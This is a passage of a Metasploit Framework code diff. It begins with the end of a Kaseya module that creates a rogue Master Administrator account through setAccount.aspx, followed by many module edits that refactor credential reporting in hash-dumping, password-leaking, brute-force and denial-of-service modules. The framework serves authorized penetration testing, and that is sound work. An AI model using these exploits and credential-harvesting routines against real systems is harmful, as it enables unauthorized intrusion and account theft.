OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
], self.class)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'GET',
})
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
session_val = $1
else
print_error("#{peer} - Failed to get sessionVal")
return
end
print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'POST',
'vars_post' => {
'sessionVal' => session_val,
'adminName' => datastore['KASEYA_USER'],
'NewPassword' => datastore['KASEYA_PASS'],
'confirm' => datastore['KASEYA_PASS'],
'adminEmail' => datastore['EMAIL'],
'setAccount' => 'Create'
}
})
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
print_error("#{peer} - Master Administrator account creation failed")
return
end
print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['KASEYA_PASS'],
username: datastore['KASEYA_USER']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -27,6 +27,33 @@ class Metasploit3 < Msf::Auxiliary
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'mysql,mysql-sha1'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
return if not mysql_login_datastore
print_status("Running MySQL Enumerator...")
@ -86,15 +113,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("\tList of Accounts with Password Hashes:")
res.each do |row|
print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
report_auth_info({
:host => rhost,
:port => rport,
:user => row[0],
:pass => row[2],
:type => "mysql_hash",
:sname => "mysql",
:active => true
})
report_cred(
ip: rhost,
port: rport,
user: row[0],
password: row[2],
service_name: 'mysql',
proof: row.inspect
)
end
end
# Only list accounts that can log in with SSL if SSL is enabled

View File

@ -175,15 +175,14 @@ class Metasploit3 < Msf::Auxiliary
@plain_passwords[i] << " (ISO-8859-1 hex chars)"
end
report_auth_info({
:host => rhost,
:port => rport,
:user => @users[i][0],
:pass => @plain_passwords[i],
:type => "password",
:sname => (ssl ? "https" : "http"),
:proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
})
report_cred(
ip: rhost,
port: rport,
user: @users[i][0],
password: @plain_passwords[i],
service_name: (ssl ? "https" : "http"),
proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
)
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
end
@ -191,6 +190,32 @@ class Metasploit3 < Msf::Auxiliary
print_line(users_table.to_s)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def user_type(database)
user_type = database

View File

@ -90,18 +90,45 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def setup_ftp_connection
vprint_status "#{ip}:#{rport} - FTP - Connecting"
if connect_login()
conn = connect_login
if conn
print_status("#{ip}:#{rport} - FTP - Login succeeded")
report_auth_info(
:host => ip,
:port => rport,
:proto => 'tcp',
:user => user,
:pass => pass,
:ptype => 'password_ro',
:active => true
report_cred(
ip: ip,
port: rport,
user: user,
password: pass,
service_name: 'modicon',
proof: "connect_login: #{conn}"
)
return true
else

View File

@ -37,6 +37,33 @@ class Metasploit3 < Msf::Auxiliary
crack("oracle11g")
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: opts[:format]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def crack(format)
@ -71,12 +98,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{cracked[:cracked]} hashes were cracked!")
cracked[:users].each_pair do |k,v|
print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}")
report_auth_info(
:host => v[1],
:port => v[2],
:sname => 'oracle',
:user => k,
:pass => v[0]
report_cred(
ip: v[1],
port: v[2],
service_name: 'oracle',
user: k,
pass: v[0],
format: format,
proof: cracked.inspect
)
end
end

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}"
pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}")
capture_sendto(p, ip)
break unless capture_sendto(p, ip)
reply = probe_reply(pcap, to)
next if reply.nil?

View File

@ -68,16 +68,41 @@ class Metasploit3 < Msf::Auxiliary
datastore['TIMEOUT']
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def user_exists(user)
exists = wordpress_user_exists?(user)
if exists
print_good("#{peer} - Username \"#{username}\" is valid")
report_auth_info(
:host => rhost,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:port => rport,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
report_cred(
ip: rhost,
port: rport,
user: user,
service_name: (ssl ? 'https' : 'http'),
proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
)
return true

View File

@ -45,10 +45,7 @@ class Metasploit3 < Msf::Auxiliary
p.udp_dport = datastore['RPORT'].to_i
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
p.recalc
capture_sendto(p, rhost)
capture_sendto(p, rhost) and print_status("Avahi should be down now")
close_pcap
print_status("Avahi should be down now")
end
end

View File

@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
p.tcp_sport = sport
p.tcp_seq = rand(0x100000000)
p.recalc
capture_sendto(p,rhost)
break unless capture_sendto(p,rhost)
sent += 1
end

View File

@ -103,6 +103,33 @@ class Metasploit3 < Msf::Auxiliary
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("#{rhost}:#{rport} - Fingerprinting...")
@ -183,13 +210,13 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{rhost}:#{rport} - Recovering Hashes...")
json_info["result"]["resultSet"].each { |result|
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => "Apache Rave",
:user => result["username"],
:pass => result["password"],
:active => result["enabled"]
report_cred(
ip: rhost,
port: rport,
service_name: 'Apache Rave',
user: result["username"],
password: result["password"],
proof: user_data
)
}

View File

@ -182,6 +182,32 @@ class Metasploit3 < Msf::Auxiliary
return res
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse the usernames, passwords, and security levels from the config
# It's a little ugly (lots of hard-coded offsets).
# The userdata starts at an offset dictated by the B014USERS config
@ -213,13 +239,13 @@ class Metasploit3 < Msf::Auxiliary
break
end
logins << [accounttype, accountname, accountpass]
report_auth_info(
:host => datastore['RHOST'],
:port => 23,
:sname => "telnet",
:user => accountname,
:pass => accountpass,
:active => true
report_cred(
ip: datastore['RHOST'],
port: 23,
service_name: 'telnet',
user: accountname,
password: accountpass,
proof: accounttype
)
end
if not logins.rows.empty?

View File

@ -151,6 +151,32 @@ class Metasploit3 < Msf::Auxiliary
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
return unless tokens = get_session_tokens
credentials = []
@ -172,14 +198,14 @@ class Metasploit3 < Msf::Auxiliary
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
)
credentials.each do |record|
report_auth_info({
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => record[0],
:pass => record[1],
:source_type => 'vuln'
})
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
user: record[0],
password: record[1],
proof: @cookie
)
cred_table << [record[0], record[1], record[2], record[3]]
end
print_line

View File

@ -88,6 +88,34 @@ class Metasploit3 < Msf::Auxiliary
return results
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("#{peer} - Get Domain Info")
@ -121,14 +149,14 @@ class Metasploit3 < Msf::Auxiliary
)
credentials.each do |record|
report_auth_info({
:host => record[0],
:port => record[1],
:sname => record[2].downcase,
:user => record[3],
:pass => record[4],
:source_type => "vuln"
})
report_cred(
ip: record[0],
port: record[1],
service_name: record[2].downcase,
user: record[3],
password: record[4],
proof: domain_info.inspect
)
cred_table << [record[0], record[3], record[4]]
end

View File

@ -145,6 +145,33 @@ class Metasploit3 < Msf::Auxiliary
Msf::Exploit::CheckCode::Safe
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("#{peer} - Checking for a valid node id...")
node_id = get_node
@ -171,15 +198,14 @@ class Metasploit3 < Msf::Auxiliary
for i in 0..count_users
user = get_user_data(node_id, i)
unless user.join.empty?
report_auth_info({
:host => rhost,
:port => rport,
:user => user[0],
:pass => user[1],
:type => "hash",
:sname => (ssl ? "https" : "http"),
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
})
report_cred(
ip: rhost,
port: rport,
user: user[0],
password: user[1],
service_name: (ssl ? "https" : "http"),
proof: "salt: #{user[2]}"
)
users_table << user
end
end

View File

@ -198,6 +198,32 @@ class Metasploit3 < Msf::Auxiliary
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_client_unattend(data)
begin
@ -216,15 +242,13 @@ class Metasploit3 < Msf::Auxiliary
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass
report_cred(
ip: rhost,
port: 445,
service_name: 'smb',
user: "#{domain}\\#{user}",
password: pass,
proof: domain
)
end

View File

@ -76,6 +76,34 @@ class Metasploit3 < Msf::Auxiliary
nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5,des'
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
users_found = false
@ -117,14 +145,13 @@ class Metasploit3 < Msf::Auxiliary
unless match.nil?
print_good("Username: #{match[0]}")
print_good("Password Hash: #{match[1]}")
report_auth_info(
host: rhost,
port: rport,
sname: ssl ? 'https' : 'http',
user: match[0],
pass: match[1],
active: true,
type: 'hash'
report_cred(
ip: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
user: match[0],
password: match[1],
proof: result.body
)
users_found = true
end

View File

@ -74,6 +74,32 @@ class Metasploit3 < Msf::Auxiliary
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user, pass)
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
begin
@ -91,17 +117,14 @@ class Metasploit3 < Msf::Auxiliary
return :skip_pass
else
vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'couchdb',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'couchdb',
user: user,
password: pass,
proof: res.code.to_s
)
return :next_user
end

View File

@ -216,15 +216,40 @@ class Metasploit3 < Msf::Auxiliary
print_status("Raw version of #{archi} saved as: #{p}")
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
report_cred(
ip: rhost,
port: 4050,
service_name: 'dcerpc',
user: "#{domain}\\#{user}",
password: pass,
proof: domain
)
end
end

View File

@ -69,22 +69,45 @@ class Metasploit3 < Msf::Auxiliary
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:active => true,
:source_type => "user_supplied",
:duplicate_ok => true
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
user: user,
password: pass,
proof: auth.body.to_s
)
else
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
print_status("Verifying that login page exists at #{ip}")
uri = normalize_uri(target_uri.path)

View File

@ -72,6 +72,32 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 302 and res.headers['Location'].include?("frameset"))
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'OpenMind Message-OS Provisioning Portal',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'OpenMind Message-OS Provisioning Portal',
user: user,
password: pass,
proof: res.headers['Location']
)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
@ -21,14 +20,13 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'HTTP Verb Authentication Bypass Scanner',
'Description' => %q{
This module test for authentication bypass using different HTTP verbs.
},
'Author' => [ 'et [at] metasploit.com' ],
'Author' => ['et [at] metasploit.com'],
'License' => BSD_LICENSE))
register_options(
[
OptString.new('PATH', [ true, "The path to test", '/'])
OptString.new('TARGETURI', [true, "The path to test", '/'])
], self.class)
end
@ -44,20 +42,20 @@ class Metasploit3 < Msf::Auxiliary
verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ]
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH']),
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
}, 10)
return if not res
if not res.headers['WWW-Authenticate']
print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}")
print_status("#{full_uri} - Authentication not required [#{res.code}]")
return
end
auth_code = res.code
print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
print_status("#{full_uri} - Authentication required: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
report_note(
:host => ip,
@ -65,22 +63,22 @@ class Metasploit3 < Msf::Auxiliary
:sname => (ssl ? 'https' : 'http'),
:port => rport,
:type => 'WWW_AUTHENTICATE',
:data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}",
:data => "#{target_uri.path} Realm: #{res.headers['WWW-Authenticate']}",
:update => :unique_data
)
verbs.each do |tv|
resauth = send_request_raw({
'uri' => normalize_uri(datastore['PATH']),
'uri' => normalize_uri(target_uri.path),
'method' => tv
}, 10)
next if not resauth
print_status("Testing verb #{tv}, resp code: [#{resauth.code}]")
print_status("#{full_uri} - Testing verb #{tv} [#{resauth.code}]")
if resauth.code != auth_code and resauth.code <= 302
print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}")
print_good("#{full_uri} - Possible authentication bypass with verb #{tv} [#{resauth.code}]")
# Unable to use report_web_vuln as method is not in list of allowed methods.
@ -90,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
:sname => (ssl ? 'https' : 'http'),
:port => rport,
:type => 'AUTH_BYPASS_VERB',
:data => "#{datastore['PATH']} Verb: #{tv}",
:data => "#{target_uri.path} Verb: #{tv}",
:update => :unique_data
)
end
@ -98,4 +96,3 @@ class Metasploit3 < Msf::Auxiliary
end
end

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
probe = buildprobe(shost, sport, ip, rport)
capture_sendto(probe, ip)
next unless capture_sendto(probe, ip)
reply = probereply(pcap, to)

View File

@ -33,6 +33,33 @@ class Metasploit3 < Msf::Auxiliary
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil,pass=nil)
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'")
@ -48,15 +75,13 @@ class Metasploit3 < Msf::Auxiliary
if res and res.code == 302
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}",
:source_type => "user_supplied",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? "https" : "http"),
user: user,
password: pass,
proof: "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}"
)
return :next_user
end

View File

@ -200,18 +200,44 @@ class Metasploit3 < Msf::Auxiliary
user_active = true
end
report_auth_info({
:host => rhost,
:port => rport,
:sname => 'dvr',
:duplicate_ok => false,
:user => user,
:pass => password,
:active => user_active
})
report_cred(
ip: rhost,
port: rport,
service_name: 'dvr',
user: user,
password: password,
service_name: 'http',
proof: "user_id: #{user_id}, active: #{active}"
)
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
res = send_request_cgi({

View File

@ -231,18 +231,46 @@ class Metasploit3 < Msf::Auxiliary
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def report_isqlauth_info(ip,user,pass,sid)
ora_info = {
:host => ip, :port => rport, :proto => "tcp",
:pass => pass, :source_type => "user_supplied",
:active => true
ip: ip,
port: rport,
password: pass,
proof: sid.inspect,
service_name: 'tcp'
}
if sid.nil? || sid.empty?
ora_info.merge! :user => user
else
ora_info.merge! :user => "#{sid}/#{user}"
end
report_auth_info(ora_info)
report_cred(ora_info)
end
end

View File

@ -138,6 +138,32 @@ class Metasploit3 < Msf::Auxiliary
m[1,2]
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: opts[:status],
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_script_output(addr,port,output)
msg = "#{addr}:#{port} - Oracle -"
@oracle_reported = false
@ -156,10 +182,13 @@ class Metasploit3 < Msf::Auxiliary
user,pass = extract_creds(oline)
pass = "" if pass == "<empty>"
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
report_auth_info(
:host => addr, :port => port, :proto => "tcp",
:user => "#{sid}/#{user}", :pass => pass,
:source_type => "user_supplied", :active => true
report_cred(
ip: addr,
port: port,
user: "#{sid}/#{user}",
password: pass,
service_name: 'tcp',
status: Metasploit::Model::Login::Status::SUCCESSFUL
)
elsif oline =~ /Account locked/
if not @oracle_reported
@ -169,10 +198,12 @@ class Metasploit3 < Msf::Auxiliary
end
user = extract_creds(oline)[0]
print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
report_auth_info(
:host => addr, :port => port, :proto => "tcp",
:user => "#{sid}/#{user}",
:source_type => "user_supplied", :active => false
report_cred(
ip: addr,
port: port,
user: "#{sid}/#{user}",
service_name: 'tcp',
status: Metasploit::Model::Login::Status::DENIED_ACCESS
)
elsif oline =~ /^\s+ERROR: (.*)/
print_error "#{msg} NSE script error: #{$1}"

View File

@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
host_queue = hosts.dup
# Spread the load across the hosts
ports.each do |dport|
hosts.each do |dhost|
host_queue.each do |dhost|
shost, sport = getsource(dhost)
pcap.setfilter(getfilter(shost, sport, dhost, dport))
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
begin
probe = buildprobe(shost, sport, dhost, dport)
capture_sendto(probe, dhost)
unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next
end
reply = probereply(pcap, to)

View File

@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
host_queue = hosts.dup
# Spread the load across the hosts
ports.each do |dport|
hosts.each do |dhost|
host_queue.each do |dhost|
shost, sport = getsource(dhost)
self.capture.setfilter(getfilter(shost, sport, dhost, dport))
@ -63,7 +65,10 @@ class Metasploit3 < Msf::Auxiliary
begin
probe = buildprobe(shost, sport, dhost, dport)
capture_sendto(probe, dhost)
unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next
end
reply = probereply(self.capture, to)

View File

@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
host_queue = hosts.dup
# Spread the load across the hosts
ports.each do |dport|
hosts.each do |dhost|
host_queue.each do |dhost|
shost, sport = getsource(dhost)
pcap.setfilter(getfilter(shost, sport, dhost, dport))
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
begin
probe = buildprobe(shost, sport, dhost, dport)
capture_sendto(probe, dhost)
unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next
end
reply = probereply(pcap, to)

View File

@ -50,6 +50,32 @@ class Metasploit3 < Msf::Auxiliary
datastore['RPORT']
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
